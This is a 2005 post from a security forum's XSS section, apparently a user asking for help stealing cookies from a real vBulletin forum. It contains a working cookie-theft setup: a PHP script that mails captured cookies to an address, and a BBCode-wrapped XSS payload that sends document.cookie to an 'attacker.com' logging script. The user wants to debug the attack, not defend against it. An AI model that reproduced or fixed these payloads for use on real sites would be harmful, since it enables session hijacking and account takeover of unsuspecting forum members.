|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 53
Members: 0
Total: 53
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
cookie got |
|
Posted: Sun Jan 16, 2005 11:28 pm |
|
|
Injector |
Active user |
|
|
Joined: Dec 29, 2004 |
Posts: 49 |
|
|
|
|
|
|
|
I found a forum vulnerable to XSS. Basically using the [IMG tag thing. If i do something like this, it does show my cookie
Code: | alert(document.cookie) |
Now what i want to do is to mail or to log the cookie but everytime I do that I get nothing but blank.
I used this script:
Code: | <?php
$cookie = $_GET['cookie'];
mail('mehere@yahoo.com', 'cookie', $cookie);
?> |
I receive a cookie email but its blank It doesnt contain no data. I am trying to do this on vbulletin forum.
And the tag im using is something like Code: | [COLOR=[IMG]http://somesit.com/sad.jpg[/IMG]]` style=background:url(javascript:document.images[1].src="http://attacker.com/cookielog.php?"+document.cookie) [/COLOR] |
Where am i going wrong? |
|
|
|
|
|
www.waraxe.us Forum Index -> Cross-site scripting aka XSS
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|